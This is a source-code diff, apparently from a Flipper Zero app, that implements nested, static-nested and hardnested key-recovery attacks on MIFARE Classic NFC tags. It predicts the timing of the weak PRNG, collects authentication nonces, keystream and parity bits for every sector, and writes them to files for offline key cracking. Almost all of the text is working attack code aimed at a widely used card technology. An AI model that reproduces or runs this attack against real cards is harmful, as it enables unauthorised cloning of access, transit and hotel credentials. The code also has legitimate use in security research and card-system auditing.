if(hex_char_to_hex_nibble(hi, &hi_nibble_value) && + hex_char_to_hex_nibble(low, &low_nibble_value)) { + *value = (hi_nibble_value << 4) | low_nibble_value; + return true; + } else { + return false; + } +} + +void free_nonces(NonceList_t* nonces, uint8_t sector_count, uint8_t tries_count) { + for(uint8_t sector = 0; sector < sector_count; sector++) { + for(uint8_t key_type = 0; key_type < 2; key_type++) { + for(uint8_t tries = 0; tries < tries_count; tries++) { + free(nonces->nonces[sector][key_type][tries]); + } + } + } +} + +MfClassicType mifare_nested_worker_get_tag_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) { + UNUSED(ATQA1); + if((ATQA0 == 0x44 || ATQA0 == 0x04)) { + if((SAK == 0x08 || SAK == 0x88)) { + return MfClassicType1k; + } else if(SAK == 0x09) { + return MfClassicTypeMini; + } + } else if((ATQA0 == 0x01) && (ATQA1 == 0x0F) && (SAK == 0x01)) { + //skylanders support + return MfClassicType1k; + } else if((ATQA0 == 0x42 || ATQA0 == 0x02) && (SAK == 0x18)) { + return MfClassicType4k; + } + return MfClassicType1k; +} + +uint32_t mifare_nested_worker_predict_delay( + FuriHalNfcTxRxContext* tx_rx, + uint8_t blockNo, + uint8_t keyType, + uint64_t ui64Key, + uint32_t tries, + MifareNestedWorker* mifare_nested_worker) { + uint32_t cuid = 0; + Crypto1* crypto = malloc(sizeof(Crypto1)); + uint32_t nt1, nt2, i = 0, previous = 0, prng_delay = 0, zero_prng_value = 65565, repeat = 0; + + if(tries > 25) { + free(crypto); + return 2; // Too many tries, fallback to hardnested + } + + // This part of attack is my attempt to implement it on Flipper. + // Proxmark can do this in 2 fucking steps, but idk how. + + // First, we find RPNG rounds per 1000 us + for(uint32_t rtr = 0; rtr < 25; rtr++) { + if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) { + free(crypto); + return 1; + } + + nfc_activate(); + if(!furi_hal_nfc_activate_nfca(200, &cuid)) break; + + mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1); + + furi_delay_us(rtr * 1000); + + mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2); + + // Searching for delay, where PRNG will be near 800 + uint32_t nttmp = prng_successor(nt1, 100); + + for(i = 101; i < 65565; i++) { + nttmp = prng_successor(nttmp, 1); + if(nttmp == nt2) break; + } + + if(!rtr) { + zero_prng_value = i; + } + + if(previous && i > previous && i != 65565) { + if(!prng_delay) { + prng_delay = i - previous; + } else if(prng_delay - 100 > i - previous && prng_delay + 100 < i - previous) { + prng_delay += i - previous; + prng_delay /= 2; + } + } + + previous = i; + + FURI_LOG_D(TAG, "Calibrating: ntdist=%lu, delay=%lu", i, rtr * 1000); + + // Let's hope... + if(i > 810 && i < 840) { + free(crypto); + return rtr * 1000; + } + } + + FURI_LOG_D(TAG, "PRNG timing: growth ratio per 1000 us = %lu", prng_delay); + + // Next, we try to calculate time until PRNG near 800 with more perfect timing + // Mifare Classic (weak) RPNG repeats every 65565 PRNG cycles + + if(zero_prng_value == 65565) { + free(crypto); + // PRNG isn't pretictable + return 1; + } + + uint32_t cycles_to_reset = (65565 - zero_prng_value) / prng_delay; + + uint32_t limit = 7; + + for(uint32_t rtr = cycles_to_reset - 1; rtr < cycles_to_reset + limit; rtr++) { + for(uint32_t rtz = 0; rtz < 100; rtz++) { + if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) { + free(crypto); + return 1; + } + + nfc_activate(); + if(!furi_hal_nfc_activate_nfca(200, &cuid)) break; + + uint32_t delay = rtr * 1000 + rtz * 10; + + mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1); + + furi_delay_us(delay); + + mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2); + + // Searching for delay, where PRNG will be near 800 + uint32_t nttmp = prng_successor(nt1, 0); + + for(i = 1; i < 65565; i++) { + nttmp = prng_successor(nttmp, 1); + if(nttmp == nt2) break; + } + + if(!(i > previous - 50 && i < previous + 50) && rtz) { + repeat++; + + if(repeat < 5) { + FURI_LOG_D(TAG, "Invalid RPNG value: ntdist=%lu", i); + + continue; + } + } + + if(i > 2000 && i < 65500) { + uint32_t catch_cycles = (65565 - i) / prng_delay; + if(catch_cycles > 2) { + catch_cycles++; + + FURI_LOG_D( + TAG, + "Trying a more accurate value: skipping additional %lu us", + catch_cycles * 1000); + limit += catch_cycles + 2; + rtr += catch_cycles; + } + } + + FURI_LOG_D( + TAG, + "Calibrating: ntdist=%lu, delay=%lu, max=%lu", + i, + delay, + (cycles_to_reset + limit) * 1000); + + repeat = 0; + previous = i; + + if(i > 810 && i < 840) { + free(crypto); + FURI_LOG_I(TAG, "Found delay: %lu us", delay); + return delay; + } else if(i > 840 && i < 40000) { + FURI_LOG_D(TAG, "Trying again: timing lost"); + tries++; + free(crypto); + return mifare_nested_worker_predict_delay( + tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker); + } + } + } + + if(i > 1000 && i < 65000) { + FURI_LOG_D(TAG, "Trying again: wrong predicted timing"); + tries++; + free(crypto); + return mifare_nested_worker_predict_delay( + tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker); + } + + free(crypto); + + return 1; +} + +void mifare_nested_worker_write_nonces( + FuriHalNfcDevData* data, + Storage* storage, + NonceList_t* nonces, + uint8_t tries_count, + uint8_t free_tries_count, + uint8_t sector_count, + uint32_t delay, + uint32_t distance) { + FuriString* path = furi_string_alloc(); + Stream* file_stream = file_stream_alloc(storage); + mifare_nested_worker_get_nonces_file_path(data, path); + + file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ_WRITE, FSOM_CREATE_ALWAYS); + + FuriString* header = furi_string_alloc_printf( + "Filetype: Flipper Nested Nonce Manifest File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\n", + NESTED_NONCE_FORMAT_VERSION, + NESTED_RECOVER_KEYS_GITHUB_LINK); + stream_write_string(file_stream, header); + + for(uint8_t tries = 0; tries < tries_count; tries++) { + for(uint8_t sector = 0; sector < sector_count; sector++) { + for(uint8_t key_type = 0; key_type < 2; key_type++) { + if(nonces->nonces[sector][key_type][tries]->collected && + !nonces->nonces[sector][key_type][tries]->skipped) { + if(nonces->nonces[sector][key_type][tries]->hardnested) { + FuriString* path = furi_string_alloc(); + mifare_nested_worker_get_hardnested_file_path( + data, path, sector, key_type); + + FuriString* str = furi_string_alloc_printf( + "HardNested: Key %c cuid 0x%08lx file %s sec %u\n", + !key_type ? 'A' : 'B', + nonces->cuid, + furi_string_get_cstr(path), + sector); + + stream_write_string(file_stream, str); + + furi_string_free(path); + furi_string_free(str); + } else { + FuriString* str = furi_string_alloc_printf( + "Nested: Key %c cuid 0x%08lx", !key_type ? 'A' : 'B', nonces->cuid); + + for(uint8_t type = 0; type < 2; type++) { + furi_string_cat_printf( + str, + " nt%u 0x%08lx ks%u 0x%08lx par%u ", + type, + nonces->nonces[sector][key_type][tries]->target_nt[type], + type, + nonces->nonces[sector][key_type][tries]->target_ks[type], + type); + + uint8_t* par = nonces->nonces[sector][key_type][tries]->parity[type]; + for(uint8_t i = 0; i < 4; i++) { + furi_string_cat_printf(str, "%u", par[i]); + } + } + + furi_string_cat_printf(str, " sec %u\n", sector); + + stream_write_string(file_stream, str); + furi_string_free(str); + } + } + } + } + } + + if(delay) { + FuriString* str = + furi_string_alloc_printf("Nested: Delay %lu, distance %lu", delay, distance); + + stream_write_string(file_stream, str); + furi_string_free(str); + } + + free_nonces(nonces, sector_count, free_tries_count); + furi_string_free(path); + file_stream_close(file_stream); + free(file_stream); + furi_record_close(RECORD_STORAGE); +} + +bool mifare_nested_worker_check_initial_keys( + NonceList_t* nonces, + MfClassicData* mf_data, + uint8_t tries_count, + uint8_t sector_count, + uint64_t* key, + uint32_t* key_block, + uint32_t* found_key_type) { + bool has_a_key, has_b_key; + FuriHalNfcTxRxContext tx_rx = {}; + + for(uint8_t sector = 0; sector < sector_count; sector++) { + for(uint8_t key_type = 0; key_type < 2; key_type++) { + for(uint8_t tries = 0; tries < tries_count; tries++) { + Nonces* info = malloc(sizeof(Nonces)); + info->key_type = key_type; + info->block = mifare_nested_worker_get_block_by_sector(sector); + info->collected = false; + info->skipped = true; + + nonces->nonces[sector][key_type][tries] = info; + } + } + } + + for(uint8_t sector = 0; sector < sector_count; sector++) { + MfClassicSectorTrailer* trailer = + mifare_nested_worker_get_sector_trailer_by_sector(mf_data, sector); + has_a_key = FURI_BIT(mf_data->key_a_mask, sector); + has_b_key = FURI_BIT(mf_data->key_b_mask, sector); + + if(has_a_key) { + for(uint8_t tries = 0; tries < tries_count; tries++) { + Nonces* info = nonces->nonces[sector][0][tries]; + info->collected = true; + info->skipped = true; + + nonces->nonces[sector][0][tries] = info; + } + + if(*key_block == 0) { + uint64_t key_check = nfc_util_bytes2num(trailer->key_a, 6); + if(nested_check_key( + &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 0, key_check) == + NestedCheckKeyValid) { + *key = key_check; + *key_block = mifare_nested_worker_get_block_by_sector(sector); + *found_key_type = 0; + } + } + } + + if(has_b_key) { + for(uint8_t tries = 0; tries < tries_count; tries++) { + Nonces* info = nonces->nonces[sector][1][tries]; + info->collected = true; + info->skipped = true; + + nonces->nonces[sector][1][tries] = info; + } + + if(*key_block == 0) { + uint64_t key_check = nfc_util_bytes2num(trailer->key_b, 6); + if(nested_check_key( + &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 1, key_check) == + NestedCheckKeyValid) { + *key = key_check; + *key_block = mifare_nested_worker_get_block_by_sector(sector); + *found_key_type = 1; + } + } + } + } + + nonces->cuid = 0; + nonces->hardnested_states = 0; + nonces->sector_count = sector_count; + nonces->tries = tries_count; + + return *key_block; +} + +void mifare_nested_worker_check(MifareNestedWorker* mifare_nested_worker) { + while(mifare_nested_worker->state == MifareNestedWorkerStateCheck) { + FuriHalNfcTxRxContext tx_rx = {}; + NfcDevice* dev = mifare_nested_worker->context->nfc_dev; + MfClassicData* mf_data = &dev->dev_data.mf_classic_data; + FuriHalNfcDevData data = {}; + MifareNestedNonceType type = MifareNestedNonceNoTag; + nested_get_data(&data); + + if(mifare_nested_worker_read_key_cache(&data, mf_data)) { + for(uint8_t sector = 0; sector < 40; sector++) { + if(FURI_BIT(mf_data->key_a_mask, sector) || + FURI_BIT(mf_data->key_b_mask, sector)) { + type = nested_check_nonce_type( + &tx_rx, mifare_nested_worker_get_block_by_sector(sector)); + break; + } + } + + if(type == MifareNestedNonceNoTag) { + type = nested_check_nonce_type(&tx_rx, 0); + } + } else { + type = nested_check_nonce_type(&tx_rx, 0); + } + + if(type == MifareNestedNonceStatic) { + mifare_nested_worker->context->collecting_type = + MifareNestedWorkerStateCollectingStatic; + + mifare_nested_worker->callback( + MifareNestedWorkerEventCollecting, mifare_nested_worker->context); + + break; + } else if(type == MifareNestedNonceWeak) { + mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollecting; + + mifare_nested_worker->callback( + MifareNestedWorkerEventCollecting, mifare_nested_worker->context); + + break; + } else if(type == MifareNestedNonceHard) { + mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollectingHard; + + mifare_nested_worker->callback( + MifareNestedWorkerEventCollecting, mifare_nested_worker->context); + + break; + } + + furi_delay_ms(250); + } + + nfc_deactivate(); +} + +void mifare_nested_worker_collect_nonces_static(MifareNestedWorker* mifare_nested_worker) { + NonceList_t nonces; + Storage* storage = furi_record_open(RECORD_STORAGE); + NfcDevice* dev = mifare_nested_worker->context->nfc_dev; + MfClassicData* mf_data = &dev->dev_data.mf_classic_data; + FuriString* folder_path = furi_string_alloc(); + FuriHalNfcDevData data = {}; + nested_get_data(&data); + MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak); + uint64_t key = 0; // Found key for attack + uint32_t found_key_type = 0; + uint32_t key_block = 0; + uint32_t sector_count = 0; + + FURI_LOG_I(TAG, "Running Static Nested attack"); + FuriString* tag_info = furi_string_alloc_printf("Tag UID: "); + mifare_nested_worker_write_uid_string(&data, tag_info); + FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info)); + furi_string_free(tag_info); + + if(type == MfClassicType4k) { + sector_count = 40; + FURI_LOG_I(TAG, "Found Mifare Classic 4K tag"); + } else if(type == MfClassicType1k) { + sector_count = 16; + FURI_LOG_I(TAG, "Found Mifare Classic 1K tag"); + } else { // if(type == MfClassicTypeMini) + sector_count = 5; + FURI_LOG_I(TAG, "Found Mifare Classic Mini tag"); + } + + furi_string_set(folder_path, NESTED_FOLDER); + storage_common_mkdir(storage, furi_string_get_cstr(folder_path)); + furi_string_free(folder_path); + + if(!mifare_nested_worker_read_key_cache(&data, mf_data) || + !mifare_nested_worker_check_initial_keys( + &nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) { + mifare_nested_worker->callback( + MifareNestedWorkerEventNeedKey, mifare_nested_worker->context); + nfc_deactivate(); + + free(mf_data); + free_nonces(&nonces, sector_count, 1); + + return; + } + + FURI_LOG_I( + TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key); + + while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) { + FuriHalNfcTxRxContext tx_rx = {}; + + for(uint8_t sector = 0; sector < sector_count; sector++) { + for(uint8_t key_type = 0; key_type < 2; key_type++) { + Nonces* info = nonces.nonces[sector][key_type][0]; + + if(info->collected) { + FURI_LOG_I( + TAG, + "Skipping sector %u, block %u, key_type: %u as we already have a key", + sector, + mifare_nested_worker_get_block_by_sector(sector), + key_type); + + info->skipped = true; + + nonces.nonces[sector][key_type][0] = info; + + mifare_nested_worker->context->nonces = &nonces; + + mifare_nested_worker->callback( + MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); + continue; + } + + if(!nested_check_block( + &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) { + FURI_LOG_E( + TAG, + "Skipping sector %u, block %u, key_type: %u as we can't auth on it", + sector, + mifare_nested_worker_get_block_by_sector(sector), + key_type); + + info->skipped = true; + + nonces.nonces[sector][key_type][0] = info; + + mifare_nested_worker->context->nonces = &nonces; + + mifare_nested_worker->callback( + MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); + + continue; + } + + while(!info->collected) { + if(mifare_nested_worker->state != MifareNestedWorkerStateCollectingStatic) { + break; + } + + struct nonce_info_static result = nested_static_nonce_attack( + &tx_rx, + key_block, + found_key_type, + mifare_nested_worker_get_block_by_sector(sector), + key_type, + key); + if(result.full) { + FURI_LOG_I( + TAG, + "Accured nonces for sector %u, block %u, key_type: %u", + sector, + mifare_nested_worker_get_block_by_sector(sector), + key_type); + + info = nonces.nonces[sector][key_type][0]; + info->collected = true; + info->skipped = false; + + memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt)); + memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks)); + + nonces.nonces[sector][key_type][0] = info; + nonces.cuid = result.cuid; + nonces.sector_count = sector_count; + + mifare_nested_worker->context->nonces = &nonces; + + mifare_nested_worker->callback( + MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); + break; + } else { + mifare_nested_worker->callback( + MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context); + } + } + } + } + + break; + } + + mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0); + + free(mf_data); + + mifare_nested_worker->callback( + MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context); + + nfc_deactivate(); +} + +void mifare_nested_worker_collect_nonces_hard(MifareNestedWorker* mifare_nested_worker) { + NonceList_t nonces; + Storage* storage = furi_record_open(RECORD_STORAGE); + NfcDevice* dev = mifare_nested_worker->context->nfc_dev; + MfClassicData* mf_data = &dev->dev_data.mf_classic_data; + FuriString* folder_path = furi_string_alloc(); + FuriHalNfcDevData data = {}; + nested_get_data(&data); + MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak); + uint64_t key = 0; // Found key for attack + uint32_t found_key_type = 0; + uint32_t key_block = 0; + uint32_t sector_count = 0; + uint32_t cuid = 0; + furi_hal_nfc_activate_nfca(200, &cuid); + + FURI_LOG_I(TAG, "Running Hard Nested attack"); + FuriString* tag_info = furi_string_alloc_printf("Tag UID: "); + mifare_nested_worker_write_uid_string(&data, tag_info); + FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info)); + furi_string_free(tag_info); + + if(type == MfClassicType4k) { + sector_count = 40; + FURI_LOG_I(TAG, "Found Mifare Classic 4K tag"); + } else if(type == MfClassicType1k) { + sector_count = 16; + FURI_LOG_I(TAG, "Found Mifare Classic 1K tag"); + } else { // if(type == MfClassicTypeMini) + sector_count = 5; + FURI_LOG_I(TAG, "Found Mifare Classic Mini tag"); + } + + furi_string_set(folder_path, NESTED_FOLDER); + storage_common_mkdir(storage, furi_string_get_cstr(folder_path)); + mifare_nested_worker_get_hardnested_folder_path(&data, folder_path); + storage_common_mkdir(storage, furi_string_get_cstr(folder_path)); + furi_string_free(folder_path); + + if(!mifare_nested_worker_read_key_cache(&data, mf_data) || + !mifare_nested_worker_check_initial_keys( + &nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) { + mifare_nested_worker->callback( + MifareNestedWorkerEventNeedKey, mifare_nested_worker->context); + nfc_deactivate(); + + free(mf_data); + free_nonces(&nonces, sector_count, 1); + + return; + } + + FURI_LOG_I( + TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key); + + FuriHalNfcTxRxContext tx_rx = {}; + nonces.tries = 1; + nonces.hardnested_states = 0; + nonces.sector_count = sector_count; + + mifare_nested_worker->context->nonces = &nonces; + + mifare_nested_worker->callback(MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); + + mifare_nested_worker->callback( + MifareNestedWorkerEventHardnestedStatesFound, mifare_nested_worker->context); + + for(uint8_t sector = 0; sector < sector_count && + mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard; + sector++) { + for(uint8_t key_type = 0; + key_type < 2 && mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard; + key_type++) { + Nonces* info = nonces.nonces[sector][key_type][0]; + if(info->collected) { + FURI_LOG_I( + TAG, + "Skipping sector %u, block %u, key_type: %u as we already have a key", + sector, + mifare_nested_worker_get_block_by_sector(sector), + key_type); + + info->skipped = true; + + nonces.nonces[sector][key_type][0] = info; + mifare_nested_worker->context->nonces = &nonces; + + mifare_nested_worker->callback( + MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); + + continue; + } + + if(!nested_check_block( + &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) { + FURI_LOG_E( + TAG, + "Skipping sector %u, block %u, key_type: %u as we can't auth on it", + sector, + mifare_nested_worker_get_block_by_sector(sector), + key_type); + + info->skipped = true; + + nonces.nonces[sector][key_type][0] = info; + mifare_nested_worker->context->nonces = &nonces; + + mifare_nested_worker->callback( + MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); + + continue; + } + + while(!info->collected && + mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) { + Stream* file_stream = file_stream_alloc(storage); + FuriString* hardnested_file = furi_string_alloc(); + mifare_nested_worker_get_hardnested_file_path( + &data, hardnested_file, sector, key_type); + + file_stream_open( + file_stream, + furi_string_get_cstr(hardnested_file), + FSAM_READ_WRITE, + FSOM_CREATE_ALWAYS); + + FuriString* header = furi_string_alloc_printf( + "Filetype: Flipper Nested Nonces File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\nKey %c cuid 0x%08lx sec %u\n", + NESTED_NONCE_FORMAT_VERSION, + NESTED_RECOVER_KEYS_GITHUB_LINK, + !key_type ? 'A' : 'B', + cuid, + sector); + + stream_write_string(file_stream, header); + furi_string_free(header); + + uint32_t first_byte_sum = 0; + uint32_t* found = malloc(sizeof(uint32_t) * 256); + for(uint32_t i = 0; i < 256; i++) { + found[i] = 0; + } + + while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) { + struct nonce_info_hard result = nested_hard_nonce_attack( + &tx_rx, + key_block, + found_key_type, + mifare_nested_worker_get_block_by_sector(sector), + key_type, + key, + found, + &first_byte_sum, + file_stream); + + if(result.static_encrypted) { + file_stream_close(file_stream); + + storage_simply_remove(storage, furi_string_get_cstr(hardnested_file)); + + furi_string_free(hardnested_file); + free(found); + free(mf_data); + nfc_deactivate(); + + mifare_nested_worker->callback( + MifareNestedWorkerEventStaticEncryptedNonce, + mifare_nested_worker->context); + + return; + } + + if(result.full) { + uint32_t states = 0; + for(uint32_t i = 0; i < 256; i++) { + states += found[i]; + } + + nonces.hardnested_states = states; + + mifare_nested_worker->callback( + MifareNestedWorkerEventHardnestedStatesFound, + mifare_nested_worker->context); + + FURI_LOG_D(TAG, "Found states: %lu", states); + + if(states == 256) { + FURI_LOG_D( + TAG, "All states collected, first_byte_sum: %lu", first_byte_sum); + + bool valid = false; + for(uint8_t i = 0; i < sizeof(sums); i++) { + if(sums[i] == first_byte_sum) { + valid = true; + break; + } + } + + if(!valid) { + FURI_LOG_E(TAG, "Invalid first_byte_sum!"); + break; + } + + info->collected = true; + info->hardnested = true; + info->skipped = false; + + nonces.cuid = result.cuid; + + nonces.nonces[sector][key_type][0] = info; + + mifare_nested_worker->context->nonces = &nonces; + + mifare_nested_worker->callback( + MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); + + break; + } + } else { + mifare_nested_worker->callback( + MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context); + } + } + + free(found); + furi_string_free(hardnested_file); + file_stream_close(file_stream); + } + } + } + + mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0); + + free(mf_data); + + mifare_nested_worker->callback( + MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context); + + nfc_deactivate(); +} + +void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worker) { + NonceList_t nonces; + Storage* storage = furi_record_open(RECORD_STORAGE); + NfcDevice* dev = mifare_nested_worker->context->nfc_dev; + MfClassicData* mf_data = &dev->dev_data.mf_classic_data; + FuriString* folder_path = furi_string_alloc(); + FuriHalNfcDevData data = {}; + nested_get_data(&data); + MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak); + uint64_t key = 0; // Found key for attack + uint32_t found_key_type = 0; + uint32_t key_block = 0; + uint32_t sector_count = 0; + uint32_t delay = 0; + uint32_t distance = 0; + uint32_t tries_count = 1; + + FURI_LOG_I(TAG, "Running Nested attack"); + FuriString* tag_info = furi_string_alloc_printf("Tag UID: "); + mifare_nested_worker_write_uid_string(&data, tag_info); + FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info)); + furi_string_free(tag_info); + + if(type == MfClassicType4k) { + sector_count = 40; + FURI_LOG_I(TAG, "Found Mifare Classic 4K tag"); + } else if(type == MfClassicType1k) { + sector_count = 16; + FURI_LOG_I(TAG, "Found Mifare Classic 1K tag"); + } else { // if(type == MfClassicTypeMini) + sector_count = 5; + FURI_LOG_I(TAG, "Found Mifare Classic Mini tag"); + } + + furi_string_set(folder_path, NESTED_FOLDER); + storage_common_mkdir(storage, furi_string_get_cstr(folder_path)); + furi_string_free(folder_path); + + if(!mifare_nested_worker_read_key_cache(&data, mf_data) || + !mifare_nested_worker_check_initial_keys( + &nonces, mf_data, 3, sector_count, &key, &key_block, &found_key_type)) { + mifare_nested_worker->callback( + MifareNestedWorkerEventNeedKey, mifare_nested_worker->context); + nfc_deactivate(); + + free(mf_data); + free_nonces(&nonces, sector_count, 3); + + return; + } + + FURI_LOG_I( + TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key); + + while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) { + FuriHalNfcTxRxContext tx_rx = {}; + uint32_t first_distance = 0; + uint32_t second_distance = 0; + + mifare_nested_worker->callback( + MifareNestedWorkerEventCalibrating, mifare_nested_worker->context); + + distance = nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, false); + + if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) { + first_distance = + nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true); + } + + if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) { + second_distance = + nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, 10000, true); + } + + if(first_distance == 0 && second_distance == 0) { + nfc_deactivate(); + + free(mf_data); + free_nonces(&nonces, sector_count, 3); + + mifare_nested_worker_change_state( + mifare_nested_worker, MifareNestedWorkerStateCollectingHard); + + mifare_nested_worker_collect_nonces_hard(mifare_nested_worker); + return; + } + + if(first_distance < second_distance - 100 && second_distance > 100) { + FURI_LOG_E( + TAG, + "Discovered tag with PRNG that depends on time. PRNG values: %lu, %lu", + first_distance, + second_distance); + + struct distance_info info = + nested_calibrate_distance_info(&tx_rx, key_block, found_key_type, key); + + if(info.max_prng - info.min_prng > 150) { + FURI_LOG_W( + TAG, + "PRNG is too unpredictable (min/max values more than 150: %lu - %lu = %lu), fallback to delay method", + info.max_prng, + info.min_prng, + info.max_prng - info.min_prng); + + delay = 1; + } else { + FURI_LOG_I( + TAG, + "PRNG is stable, using method without delay! (May be false positive, still will collect x3 times)"); + + distance = + nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true); + + delay = 2; + tries_count = 3; + } + } + + if(distance == 0 || delay == 1) { + bool failed = false; + // Tag need delay or unpredictable PRNG + FURI_LOG_W(TAG, "Can't determine distance, trying to find timing..."); + + mifare_nested_worker->callback( + MifareNestedWorkerEventNeedPrediction, mifare_nested_worker->context); + + delay = mifare_nested_worker_predict_delay( + &tx_rx, key_block, found_key_type, key, 0, mifare_nested_worker); + + if(delay == 1) { + FURI_LOG_E(TAG, "Can't determine delay"); + + // Check that we didn't lost tag + FuriHalNfcDevData lost_tag_data = {}; + nested_get_data(&lost_tag_data); + if(lost_tag_data.uid_len == 0) { + // We lost it. + mifare_nested_worker->callback( + MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context); + + while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting && + lost_tag_data.cuid != data.cuid) { + furi_delay_ms(250); + nested_get_data(&lost_tag_data); + } + + mifare_nested_worker->callback( + MifareNestedWorkerEventCalibrating, mifare_nested_worker->context); + + continue; + } + + failed = true; + } + + if(delay == 2) { + FURI_LOG_E(TAG, "Can't determine delay in 25 tries, fallback to hardnested"); + + nfc_deactivate(); + + free(mf_data); + free_nonces(&nonces, sector_count, 3); + + mifare_nested_worker_change_state( + mifare_nested_worker, MifareNestedWorkerStateCollectingHard); + + mifare_nested_worker_collect_nonces_hard(mifare_nested_worker); + return; + } + + if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting && !failed) { + distance = nested_calibrate_distance( + &tx_rx, key_block, found_key_type, key, delay, false); + } + + if(distance == 0 && !failed) { + FURI_LOG_E(TAG, "Found delay, but can't find distance"); + + failed = true; + } + + if(failed) { + nfc_deactivate(); + + mifare_nested_worker->callback( + MifareNestedWorkerEventAttackFailed, mifare_nested_worker->context); + + free(mf_data); + free_nonces(&nonces, sector_count, 3); + + return; + } + + tries_count = 3; + } + + mifare_nested_worker->context->nonces = &nonces; + + mifare_nested_worker->callback( + MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); + + for(uint8_t tries = 0; tries < tries_count; tries++) { + for(uint8_t sector = 0; sector < sector_count; sector++) { + for(uint8_t key_type = 0; key_type < 2; key_type++) { + Nonces* info = nonces.nonces[sector][key_type][tries]; + if(info->collected) { + FURI_LOG_I( + TAG, + "Skipping sector %u, block %u, key_type: %u as we already have a key", + sector, + mifare_nested_worker_get_block_by_sector(sector), + key_type); + + info->skipped = true; + + nonces.nonces[sector][key_type][tries] = info; + mifare_nested_worker->context->nonces = &nonces; + + mifare_nested_worker->callback( + MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); + + continue; + } + + if(!nested_check_block( + &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) { + FURI_LOG_E( + TAG, + "Skipping sector %u, block %u, key_type: %u as we can't auth on it", + sector, + mifare_nested_worker_get_block_by_sector(sector), + key_type); + + info->skipped = true; + + nonces.nonces[sector][key_type][0] = info; + mifare_nested_worker->context->nonces = &nonces; + + mifare_nested_worker->callback( + MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); + + continue; + } + + while(!info->collected) { + if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) { + break; + } + + struct nonce_info result = nested_attack( + &tx_rx, + key_block, + found_key_type, + mifare_nested_worker_get_block_by_sector(sector), + key_type, + key, + distance, + delay); + + if(result.full) { + FURI_LOG_I( + TAG, + "Accured nonces for sector %u, block %u, key_type: %u", + sector, + mifare_nested_worker_get_block_by_sector(sector), + key_type); + + info = nonces.nonces[sector][key_type][tries]; + info->collected = true; + info->skipped = false; + + memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt)); + memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks)); + memcpy(&info->parity, result.parity, sizeof(result.parity)); + + nonces.nonces[sector][key_type][tries] = info; + nonces.cuid = result.cuid; + nonces.sector_count = sector_count; + nonces.tries = tries_count; + + mifare_nested_worker->context->nonces = &nonces; + + mifare_nested_worker->callback( + MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); + break; + } else { + mifare_nested_worker->callback( + MifareNestedWorkerEventNoTagDetected, + mifare_nested_worker->context); + } + } + } + } + } + + break; + } + + mifare_nested_worker_write_nonces( + &data, storage, &nonces, tries_count, 3, sector_count, delay, distance); + + free(mf_data); + + mifare_nested_worker->callback( + MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context); + + nfc_deactivate(); 